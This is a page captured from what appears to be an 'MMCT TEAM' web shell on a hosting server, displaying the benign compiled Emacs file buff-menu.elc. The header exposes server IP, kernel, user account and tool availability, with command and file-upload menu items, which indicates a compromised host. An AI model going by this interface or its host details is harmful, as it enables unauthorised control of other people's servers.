MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 3.142.242.51
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/share/emacs/24.3/lisp/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/share/emacs/24.3/lisp/buff-menu.elc
;ELC
;;; Compiled by mockbuild@buildfarm06-new.corp.cloudlinux.com on Fri Oct 11 10:12:50 2024
;;; from file /builddir/build/BUILD/emacs-24.3/lisp/buff-menu.el
;;; in Emacs version 24.3
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


(byte-code "\300\301!\210\302\303\304\305\306\307\306\310&\210\311\312\313\314\315\316\306\303&\210\317\320\321\322\306\303%\210\323\324\325\320#\210\311\326\304\327\315\330\306\303\331\332&	\210\333\326\334\332#\210\311\335\336\337\315\340\306\303\331\332&	\210\311\341\342\343\315\340\306\303\331\332&	\210\311\344\345\346\315\340\306\303&\210\311\347\313\350\315\316\306\303\331\351&	\207" [require tabulated-list custom-declare-group Buffer-menu nil "Show a menu of all buffers in a buffer." :group tools convenience custom-declare-variable Buffer-menu-use-header-line t "If non-nil, use the header line to display Buffer Menu column titles." :type boolean custom-declare-face buffer-menu-buffer ((t (:weight bold))) "Face for buffer names in the Buffer Menu." put Buffer-menu-buffer face-alias Buffer-menu-buffer+size-width "Combined width of buffer name and size columns in Buffer Menu.\nIf nil, use `Buffer-menu-name-width' and `Buffer-menu-size-width'.\n\nIf non-nil, the value of `Buffer-menu-name-width' is overridden;\nthe name column is assigned width `Buffer-menu-buffer+size-width'\nminus `Buffer-menu-size-width'.  This use is deprecated." (choice (const nil) number) :version "24.3" make-obsolete-variable "use `Buffer-menu-name-width' and `Buffer-menu-size-width' instead." Buffer-menu-name-width 19 "Width of buffer name column in the Buffer Menu." number Buffer-menu-size-width 7 "Width of buffer size column in the Buffer Menu." Buffer-menu-mode-width 16 "Width of mode name column in the Buffer Menu." Buffer-menu-use-frame-buffer-list "If non-nil, the Buffer Menu uses the selected frame's buffer list.\nBuffers that were never selected in that frame are listed at the end.\nIf the value is nil, the Buffer Menu uses the global buffer list.\nThis variable matters if the Buffer Menu is sorted by visited order,\nas it is by default." "22.1"] 10)
#@135 Non-nil if the current Buffer Menu lists only file buffers.
This is set by the prefix argument to `buffer-menu' and related
commands.
(defvar Buffer-menu-files-only nil (#$ . 2422))
(make-variable-buffer-local 'Buffer-menu-files-only)
#@46 Local keymap for `Buffer-menu-mode' buffers.
(defvar Buffer-menu-mode-map (byte-code "\304 \304 \305	\n\"\210\306	\307\310#\210\306	\311\312#\210\306	\313\314#\210\306	\315\316#\210\306	\317\316#\210\306	\320\316#\210\306	\321\322#\210\306	\323\324#\210\306	\325\326#\210\306	\327\330#\210\306	\331\330#\210\306	\332\330#\210\306	\333\334#\210\306	\335\336#\210\306	\337\340#\210\306	\341\342#\210\306	\343\344#\210\306	\345\346#\210\306	\347\350#\210\306	\351\352#\210\306	\353\354#\210\306	\355\356#\210\306	\357\360#\210\306	\361\362#\210\306	\363\364#\210\306	\365\366#\210\306	\367\370#\210\306	\371\372#\210\306	\373\374\375!B#\210\376\377\201@#\210\376\201A\201B#\210\376\201C#\210\376\201D\201E#\210\376\201F#\210\376\201G\201H#\210\376\201I\201J#\210\376\201K\201L#\210\376\201M\201N#\210\376\201O\201P#\210\376\201Q#\210\376\201R\201S#\210\376\201T\201U#\210\376\201V#\210\376\201W\201X#\210\376\201Y\201Z#\210\376\201[\201\\#\210\376\201]#\210\376\201^\201_#\210\376\201`\201a#\210\376\201b\201c#\210\376\201d\201e#\210\376\201f\201g#\210	*\207" [menu-map map tabulated-list-mode-map menu-bar-separator make-sparse-keymap set-keymap-parent define-key "v" Buffer-menu-select "2" Buffer-menu-2-window "1" Buffer-menu-1-window "f" Buffer-menu-this-window "e" "
" "o" Buffer-menu-other-window "" Buffer-menu-switch-other-window "s" Buffer-menu-save "d" Buffer-menu-delete "k" "" "" Buffer-menu-delete-backwards "x" Buffer-menu-execute " " next-line "" Buffer-menu-backup-unmark "~" Buffer-menu-not-modified "u" Buffer-menu-unmark "m" Buffer-menu-mark "t" Buffer-menu-visit-tags-table "%" Buffer-menu-toggle-read-only "b" Buffer-menu-bury "V" Buffer-menu-view "T" Buffer-menu-toggle-files-only [134217843 97 19] Buffer-menu-isearch-buffers [134217843 97 134217747] Buffer-menu-isearch-buffers-regexp [mouse-2] Buffer-menu-mouse-select [follow-link] mouse-face [menu-bar Buffer-menu-mode] purecopy "Buffer-Menu" bindings--define-key [quit] (menu-item "Quit" quit-window :help "Remove the buffer menu from the display") [rev] (menu-item "Refresh" revert-buffer :help "Refresh the *Buffer List* buffer contents") [s0] [tf] (menu-item "Show Only File Buffers" Buffer-menu-toggle-files-only :button (:toggle . Buffer-menu-files-only) :help "Toggle whether the current buffer-menu displays only file buffers") [s1] [sel] (menu-item "Select Marked" Buffer-menu-select :help "Select this line's buffer; also display buffers marked with `>'") [bm2] (menu-item "Select Two" Buffer-menu-2-window :help "Select this line's buffer, with previous buffer in second window") [bm1] (menu-item "Select Current" Buffer-menu-1-window :help "Select this line's buffer, alone, in full frame") [ow] (menu-item "Select in Other Window" Buffer-menu-other-window :help "Select this line's buffer in other window, leaving buffer menu visible") [tw] (menu-item "Select in Current Window" Buffer-menu-this-window :help "Select this line's buffer in this window") [s2] [is] (menu-item "Regexp Isearch Marked Buffers..." Buffer-menu-isearch-buffers-regexp :help "Search for a regexp through all marked buffers using Isearch") [ir] (menu-item "Isearch Marked Buffers..." Buffer-menu-isearch-buffers :help "Search for a string through all marked buffers using Isearch") [s3] [by] (menu-item "Bury" Buffer-menu-bury :help "Bury the buffer listed on this line") [vt] (menu-item "Set Unmodified" Buffer-menu-not-modified :help "Mark buffer on this line as unmodified (no changes to save)") [ex] (menu-item "Execute" Buffer-menu-execute :help "Save and/or delete buffers marked with s or k commands") [s4] [delb] (menu-item "Mark for Delete and Move Backwards" Buffer-menu-delete-backwards :help "Mark buffer on this line to be deleted by x command and move up one line") [del] (menu-item "Mark for Delete" Buffer-menu-delete :help "Mark buffer on this line to be deleted by x command") [sv] (menu-item "Mark for Save" Buffer-menu-save :help "Mark buffer on this line to be saved by x command") [umk] (menu-item "Unmark" Buffer-menu-unmark :help "Cancel all requested operations on buffer on this line and move down") [mk] (menu-item "Mark" Buffer-menu-mark :help "Mark buffer on this line for being displayed by v command")] 5) (#$ . 2663))
(byte-code "\302\303\304\305#\210\306\305\211\203,	@\303N\203%\304N\204%\307\304\303N#\210	A\211\204*\310\303\304\311#\210\304\312N\204A\307\304\312\313\314!#\210\315\316!\204M\307\316\317\320#\210\305\207" [prop --dolist-tail-- defvaralias buffer-menu-mode-hook Buffer-menu-mode-hook nil (saved-value saved-variable-comment) put make-obsolete-variable "23.1" variable-documentation purecopy "Hook run when entering Buffer Menu mode.\nNo problems result if this variable is not bound.\n`add-hook' automatically binds it.  (This is true for all hook variables.)" boundp Buffer-menu-mode-map definition-name Buffer-menu-mode] 6)
(defvar Buffer-menu-mode-map (make-sparse-keymap))
(byte-code "\300\301N\204\302\300\301\303\304!#\210\305\306!\204\302\306\307\310#\210\300\207" [Buffer-menu-mode-map variable-documentation put purecopy "Keymap for `Buffer-menu-mode'." boundp Buffer-menu-mode-syntax-table definition-name Buffer-menu-mode] 5)
(defvar Buffer-menu-mode-syntax-table (make-syntax-table))
(byte-code "\300\301N\204\302\300\301\303\304!#\210\302\305\306\307#\207" [Buffer-menu-mode-syntax-table variable-documentation put purecopy "Syntax table for `Buffer-menu-mode'." Buffer-menu-mode-abbrev-table definition-name Buffer-menu-mode] 5)
(defvar Buffer-menu-mode-abbrev-table (progn (define-abbrev-table 'Buffer-menu-mode-abbrev-table nil) Buffer-menu-mode-abbrev-table))
(byte-code "\300\301N\204\302\300\301\303\304!#\210\302\305\306\307#\207" [Buffer-menu-mode-abbrev-table variable-documentation put purecopy "Abbrev table for `Buffer-menu-mode'." Buffer-menu-mode derived-mode-parent tabulated-list-mode] 5)
#@2351 Major mode for Buffer Menu buffers.
The Buffer Menu is invoked by the commands \[list-buffers],
\[buffer-menu], and \[buffer-menu-other-window].
See `buffer-menu' for a description of its contents.

In Buffer Menu mode, the following commands are defined:
\<Buffer-menu-mode-map>
\[quit-window]    Remove the Buffer Menu from the display.
\[Buffer-menu-this-window]  Select current line's buffer in place of the buffer menu.
\[Buffer-menu-other-window]    Select that buffer in another window,
     so the Buffer Menu remains visible in its window.
\[Buffer-menu-view]    Select current line's buffer, in View mode.
\[Buffer-menu-view-other-window]  Select that buffer in
     another window, in view-mode.
\[Buffer-menu-switch-other-window]  Make another window display that buffer.
\[Buffer-menu-mark]    Mark current line's buffer to be displayed.
\[Buffer-menu-select]    Select current line's buffer.
     Also show buffers marked with m, in other windows.
\[Buffer-menu-1-window]    Select that buffer in full-frame window.
\[Buffer-menu-2-window]    Select that buffer in one window, together with the
     buffer selected before this one in another window.
\[Buffer-menu-isearch-buffers]    Incremental search in the marked buffers.
\[Buffer-menu-isearch-buffers-regexp]  Isearch for regexp in the marked buffers.
\[Buffer-menu-visit-tags-table]    visit-tags-table this buffer.
\[Buffer-menu-not-modified]    Clear modified-flag on that buffer.
\[Buffer-menu-save]    Mark that buffer to be saved, and move down.
\[Buffer-menu-delete]  Mark that buffer to be deleted, and move down.
\[Buffer-menu-delete-backwards]  Mark that buffer to be deleted, and move up.
\[Buffer-menu-execute]    Delete or save marked buffers.
\[Buffer-menu-unmark]    Remove all marks from current line.
     With prefix argument, also move up one line.
\[Buffer-menu-backup-unmark]  Back up a line and remove marks.
\[Buffer-menu-toggle-read-only]    Toggle read-only status of buffer on this line.
\[revert-buffer]    Update the list of buffers.
\[Buffer-menu-toggle-files-only]    Toggle whether the menu displays only file buffers.
\[Buffer-menu-bury]    Bury the buffer listed on this line.

In addition to any hooks its parent mode `tabulated-list-mode' might have run,
this mode runs the hook `Buffer-menu-mode-hook', as the final step
during initialization.
(defalias 'Buffer-menu-mode #[nil "\306\300!\210\307\310 \210\311\312\310\313N\203\314\311\313\310\313N#\210\315!\204'\316\317 \"\210\320\f!\211\2036
\321 =\203<\322\f\323 \"\210)\324!\325\"\204V!\"=\204V\326!\325\"C#\210\327!\210\330\f!\210!\"\306\331!\210\332\333\334\335\336\307$\210)\337\340!\207" [delay-mode-hooks major-mode mode-name Buffer-menu-mode-map Buffer-menu-mode-syntax-table parent make-local-variable t tabulated-list-mode Buffer-menu-mode "Buffer Menu" mode-class put keymap-parent set-keymap-parent current-local-map char-table-parent standard-syntax-table set-char-table-parent syntax-table abbrev-table-get :parents abbrev-table-put use-local-map set-syntax-table buffer-stale-function #[(&optional _noconfirm) "\300\207" [fast] 1] add-hook tabulated-list-revert-hook list-buffers--refresh nil run-mode-hooks Buffer-menu-mode-hook Buffer-menu-mode-abbrev-table local-abbrev-table] 6 (#$ . 8599) nil])
#@737 Switch to the Buffer Menu.
By default, the Buffer Menu lists all buffers except those whose
names start with a space (which are for internal use).  With
prefix argument ARG, show only buffers that are visiting files.

In the Buffer Menu, the first column (denoted "C") shows "."
for the buffer from which you came, ">" for buffers you mark to
be displayed, and "D" for those you mark for deletion.

The "R" column has a "%" if the buffer is read-only.
The "M" column has a "*" if it is modified, or "S" if you
have marked it for saving.

The remaining columns show the buffer name, the buffer size in
characters, its major mode, and the visited file name (if any).

See `Buffer-menu-mode' for the keybindings available the Buffer
Menu.
(defalias 'buffer-menu #[(&optional arg) "\301\302!!\210\303\304!\207" [arg switch-to-buffer list-buffers-noselect message "Commands: d, s, x, u; f, o, 1, 2, m, v; ~, %%; q to quit; ? for help."] 3 (#$ . 11902) "P"])
#@280 Display the Buffer Menu in another window.
See `buffer-menu' for a description of the Buffer Menu.

By default, all buffers are listed except those whose names start
with a space (which are for internal use).  With prefix argument
ARG, show only buffers that are visiting files.
(defalias 'buffer-menu-other-window #[(&optional arg) "\301\302!!\210\303\304!\207" [arg switch-to-buffer-other-window list-buffers-noselect message "Commands: d, s, x, u; f, o, 1, 2, m, v; ~, %%; q to quit; ? for help."] 3 (#$ . 12863) "P"])
#@330 Display a list of existing buffers.
The list is displayed in a buffer named "*Buffer List*".
See `buffer-menu' for a description of the Buffer Menu.

By default, all buffers are listed except those whose names start
with a space (which are for internal use).  With prefix argument
ARG, show only buffers that are visiting files.
(defalias 'list-buffers #[(&optional arg) "\301\302!!\207" [arg display-buffer list-buffers-noselect] 3 (#$ . 13393) "P"])
#@175 Toggle whether the current buffer-menu displays only file buffers.
With a positive ARG, display only file buffers.  With zero or
negative ARG, display other buffers as well.
(defalias 'Buffer-menu-toggle-files-only #[(arg) "\204		?\202\302!\303V\205\304\305	\203\306\202\307!\210\310 \207" [arg Buffer-menu-files-only prefix-numeric-value 0 t message "Showing only file-visiting buffers." "Showing all non-internal buffers." revert-buffer] 2 (#$ . 13853) "P"])
(defalias 'Buffer-menu-sort 'tabulated-list-sort)
#@178 Return the buffer described by the current Buffer Menu line.
If there is no buffer here, return nil if ERROR-IF-NON-EXISTENT-P
is nil or omitted, and signal an error otherwise.
(defalias 'Buffer-menu-buffer #[(&optional error-if-non-existent-p) "\302\303\206`\304\"\262\211\204	\205+\305\306!\202+\307!\204*	\205+\305\310!\202+)\207" [buffer error-if-non-existent-p nil get-text-property tabulated-list-id error "No buffer on this line" buffer-live-p "This buffer has been killed"] 5 (#$ . 14383)])
(defalias 'Buffer-menu-no-header #[nil "\301 \210\204\302f\303=\204\304\207\305 \210\306y\210\302\207" [Buffer-menu-use-header-line beginning-of-line nil 67 t ding 1] 2])
(defalias 'Buffer-menu-beginning #[nil "eb\210?\205\n\301y\207" [Buffer-menu-use-header-line nil] 1])
#@138 Mark the Buffer menu entry at point for later display.
It will be displayed by the \<Buffer-menu-mode-map>\[Buffer-menu-select] command.
(defalias 'Buffer-menu-mark #[nil "\300\301\302\303#\210\304y\207" [tabulated-list-set-col 0 ">" t nil] 4 (#$ . 15183) nil])
#@106 Cancel all requested operations on buffer on this line and move down.
Optional prefix arg means move up.
(defalias 'Buffer-menu-unmark #[(&optional backup) "\301\302\303\304#\210\203\305\202\306y\207" [backup tabulated-list-set-col 0 " " t -1 1] 4 (#$ . 15452) "P"])
#@70 Move up and cancel all requested operations on buffer on line above.
(defalias 'Buffer-menu-backup-unmark #[nil "\300y\210\301\302\303\304#\207" [-1 tabulated-list-set-col 0 " " t] 4 (#$ . 15730) nil])
#@272 Mark the buffer on this Buffer Menu buffer line for deletion.
A subsequent \<Buffer-menu-mode-map>`\[Buffer-menu-execute]' command
will delete it.

If prefix argument ARG is non-nil, it specifies the number of
buffers to delete; a negative ARG means to delete backwards.
(defalias 'Buffer-menu-delete #[(&optional arg) "\203\n\301U\203\f\302\301V\203'\303 \203\304\301\305\306#\210\302y\210S\211\202
\301W\205B\303 \2038\304\301\305\306#\210\307y\210T\211\202(\207" [arg 0 1 Buffer-menu-buffer tabulated-list-set-col "D" t -1] 5 (#$ . 15939) "p"])
#@209 Mark the buffer on this Buffer Menu line for deletion, and move up.
A subsequent \<Buffer-menu-mode-map>`\[Buffer-menu-execute]'
command will delete the marked buffer.  Prefix ARG means move
that many lines.
(defalias 'Buffer-menu-delete-backwards #[(&optional arg) "\301\206\302[!\207" [arg Buffer-menu-delete 1] 2 (#$ . 16512) "p"])
#@137 Mark the buffer on this Buffer Menu line for saving.
A subsequent \<Buffer-menu-mode-map>`\[Buffer-menu-execute]' command
will save it.
(defalias 'Buffer-menu-save #[nil "\300 \205
\301\302\303\304#\210\305y\207" [Buffer-menu-buffer tabulated-list-set-col 2 "S" t 1] 4 (#$ . 16857) nil])
#@146 Mark the buffer on this line as unmodified (no changes to save).
If ARG is non-nil (interactively, with a prefix argument), mark
it as modified.
(defalias 'Buffer-menu-not-modified #[(&optional arg) "r\301\302!q\210\303!\210)\304\305\203\306\202\307\302#\207" [arg Buffer-menu-buffer t set-buffer-modified-p tabulated-list-set-col 2 "*" " "] 4 (#$ . 17153) "P"])
#@211 Save and/or delete marked buffers in the Buffer Menu.
Buffers marked with \<Buffer-menu-mode-map>`\[Buffer-menu-save]' are saved.
Buffers marked with \<Buffer-menu-mode-map>`\[Buffer-menu-delete]' are deleted.
(defalias 'Buffer-menu-execute #[nil "\212\303 \210m?\205e\304\305\206`\306\"\262\304\305\206`\307\"\262\204+\310y\210\202a\311	!\2047\312 \210\202a\304f\313=\314H\315\232\203I\304\316\317\217\210\n\203]	p=\204`\320	!\210\312 \210\202`\310y\210)*\202)\207" [entry buffer delete Buffer-menu-beginning nil get-text-property tabulated-list-id tabulated-list-entry 1 buffer-live-p tabulated-list-delete-entry 68 2 "S" (byte-code "rq\210\301 \210)\302\303\304\305#\207" [buffer save-buffer tabulated-list-set-col 2 " " t] 4) ((error (warn "Error saving %s" buffer))) kill-buffer] 5 (#$ . 17529) nil])
#@244 Select this line's buffer; also, display buffers marked with `>'.
You can mark buffers with the \<Buffer-menu-mode-map>`\[Buffer-menu-mark]' command.
This command deletes and replaces all the previously existing windows
in the selected frame.
(defalias 'Buffer-menu-select #[nil "\306\307!p\310\311\307!\"\312 S\nGT\245\313 \210\314!\210	=\204&\315	!\210\n\316\211\203E
@\317\316\"\210\320\321!\210\314\f!\210
A\211\204.*\320\321!,\207" [this-buffer menu-buffer others height buffer --dolist-tail-- Buffer-menu-buffer t delq Buffer-menu-marked-buffers frame-height delete-other-windows switch-to-buffer bury-buffer nil split-window other-window 1] 5 (#$ . 18367) nil])
#@95 Return the list of buffers marked with `Buffer-menu-mark'.
If UNMARK is non-nil, unmark them.
(defalias 'Buffer-menu-marked-buffers #[(&optional unmark) "\303\304 \210\305\306\303\307#\203,\310 \211\203\n\203\311\312\313\307#\210\314	!\203(	B)\202\237)\207" [buffers buffer unmark nil Buffer-menu-beginning re-search-forward "^>" t Buffer-menu-buffer tabulated-list-set-col 0 " " buffer-live-p] 5 (#$ . 19057)])
#@63 Search for a string through all marked buffers using Isearch.
(defalias 'Buffer-menu-isearch-buffers #[nil "\300\301 !\207" [multi-isearch-buffers Buffer-menu-marked-buffers] 2 (#$ . 19488) nil])
#@63 Search for a regexp through all marked buffers using Isearch.
(defalias 'Buffer-menu-isearch-buffers-regexp #[nil "\300\301 !\207" [multi-isearch-buffers-regexp Buffer-menu-marked-buffers] 2 (#$ . 19690) nil])
#@75 Visit the tags table in the buffer on this line.  See `visit-tags-table'.
(defalias 'Buffer-menu-visit-tags-table #[nil "\301\302\303!!\211\203\304!\202\305\306!)\207" [file buffer-file-name Buffer-menu-buffer t visit-tags-table error "Specified buffer has no file"] 4 (#$ . 19906) nil])
#@50 Select this line's buffer, alone, in full frame.
(defalias 'Buffer-menu-1-window #[nil "\300\301\302!!\210\303\304 !\210\305 \207" [switch-to-buffer Buffer-menu-buffer t bury-buffer other-buffer delete-other-windows] 3 (#$ . 20206) nil])
#@43 Select this line's buffer in this window.
(defalias 'Buffer-menu-this-window #[nil "\300\301\302!!\207" [switch-to-buffer Buffer-menu-buffer t] 3 (#$ . 20450) nil])
#@73 Select this line's buffer in other window, leaving buffer menu visible.
(defalias 'Buffer-menu-other-window #[nil "\300\301\302!!\207" [switch-to-buffer-other-window Buffer-menu-buffer t] 3 (#$ . 20621) nil])
#@87 Make the other window select this line's buffer.
The current window remains selected.
(defalias 'Buffer-menu-switch-other-window #[nil "\300\301\302!\302\"\207" [display-buffer Buffer-menu-buffer t] 3 (#$ . 20836) nil])
#@67 Select this line's buffer, with previous buffer in second window.
(defalias 'Buffer-menu-2-window #[nil "\302\303!p\304 \210\305\306 !\210\307	!\210\310!*\207" [menu buff Buffer-menu-buffer t delete-other-windows switch-to-buffer other-buffer switch-to-buffer-other-window bury-buffer] 2 (#$ . 21062) nil])
#@112 Toggle read-only status of buffer on this line.
This behaves like invoking \[toggle-read-only] in that buffer.
(defalias 'Buffer-menu-toggle-read-only #[nil "r\302\303!q\210\304\305!\210)\306\307	\203\310\202\311\303#)\207" [buffer-read-only read-only Buffer-menu-buffer t read-only-mode toggle tabulated-list-set-col 1 "%" " "] 4 (#$ . 21379) nil])
#@38 Bury the buffer listed on this line.
(defalias 'Buffer-menu-bury #[nil "\302\303\206`\304\"\262\211?\2064\305!\203.\306!\210\212\307 db\210\310\311	\"\210*\312\313!\2024\307 \210\312\314!)\207" [buffer elt nil get-text-property tabulated-list-id buffer-live-p bury-buffer tabulated-list-delete-entry apply tabulated-list-print-entry message "Buffer buried." "Buffer is dead; removing from list."] 5 (#$ . 21741) nil])
#@39 View this line's buffer in View mode.
(defalias 'Buffer-menu-view #[nil "\300\301\302!!\207" [view-buffer Buffer-menu-buffer t] 3 (#$ . 22176) nil])
#@57 View this line's buffer in View mode in another window.
(defalias 'Buffer-menu-view-other-window #[nil "\300\301\302!!\207" [view-buffer-other-window Buffer-menu-buffer t] 3 (#$ . 22331) nil])
#@263 Create and return a Buffer Menu buffer.
This is called by `buffer-menu' and others as a subroutine.

If FILES-ONLY is non-nil, show only file-visiting buffers.
If BUFFER-LIST is non-nil, it should be a list of buffers; it
means list those buffers and no others.
(defalias 'list-buffers-noselect #[(&optional files-only buffer-list) "p\305\306!rq\210\307 \210\n\205\310\n!\311Y\312\f	\"\210\313 \210)*\207" [buffer old-buffer files-only Buffer-menu-files-only buffer-list get-buffer-create "*Buffer List*" Buffer-menu-mode prefix-numeric-value 0 list-buffers--refresh tabulated-list-print] 3 (#$ . 22531)])
#@44 Select the buffer whose line you click on.
(defalias 'Buffer-menu-mouse-select #[(event) "\303\304!\211@)!\210\304!\305	8\206%	A@:\203\"	A@@\202%	A@)\306\206,`\307\"\262\310\n!\205O\311\312 !\203L\312 \313 =\203L\314\n!\202O\315\n!)\207" [event position buffer select-window event-end 5 get-text-property tabulated-list-id buffer-live-p window-dedicated-p selected-window frame-root-window switch-to-buffer-other-frame switch-to-buffer] 5 (#$ . 23150) "e"])
(defalias 'list-buffers--refresh #[(&optional buffer-list old-buffer) "	\f\203\f\f\nZ\306\307\310\311\312\313BB\314\n\315BB\316
\317BB\320&#*$%p&?\321'()\206B\322*\205A\323 !\321+\211,\203\335,@+r+q\210\324 -./\325+!\203\323\204\205-\326\327O\330\230\204\323+)=\204\323/\204\205(\203\323+\306+0=\203\224\331\202\225\3301\203\236\332\202\237\330\333 \203\250\334\202\251\330\335-!\336\337 !\3402\321\211+$3\205\306\3403\321\211+$P\341/!&D'B'+,A\211,\204K*'\2374+\342 \207" [Buffer-menu-name-width Buffer-menu-size-width size-width name-width Buffer-menu-buffer+size-width Buffer-menu-mode-width vector ("C" 1 t :pad-right 0) ("R" 1 t :pad-right 0) ("M" 1 t) "Buffer" (t) "Size" (tabulated-list-entry-size-> :right-align t) "Mode" (t) ("File" 1 t) nil buffer-list selected-frame buffer-name buffer-live-p 0 1 " " "." "%" buffer-modified-p "*" Buffer-menu--pretty-name number-to-string buffer-size format-mode-line Buffer-menu--pretty-file-name tabulated-list-init-header tabulated-list-format Buffer-menu-use-header-line tabulated-list-use-header-line Buffer-menu-files-only entries show-non-file buffer-menu-buffer Buffer-menu-use-frame-buffer-list buffer --dolist-tail-- name buffer-file-name file old-buffer buffer-read-only mode-name mode-line-process tabulated-list-entries] 14])
(defalias 'tabulated-list-entry-size-> #[(entry1 entry2) "\303\211A@)\304H!\303\n\211A@)\304H!V\207" [entry1 x entry2 string-to-number 4] 5])
(defalias 'Buffer-menu--pretty-name #[(name) "\301\302\303\304\305%\207" [name propertize font-lock-face buffer-menu-buffer mouse-face highlight] 6])
(defalias 'Buffer-menu--pretty-file-name #[(file) "\203\304!\207\305\301!\203	\203	\207\n\306=\203\307!\207\310\207" [file list-buffers-directory major-mode Info-current-file abbreviate-file-name boundp Info-mode Buffer-menu-info-node-description ""] 2])
(defalias 'Buffer-menu-info-node-description #[(file) "\302\232\203\303\207\304=\203\305\207\306=\203\307\207\310=\203 \311\207;\204'\312\207\313\314!\315	R\207" [file Info-current-node "dir" "*Info Directory*" apropos "*Info Apropos*" history "*Info History*" toc "*Info TOC*" "" "(" file-name-nondirectory ") "] 4])

MMCT - 2023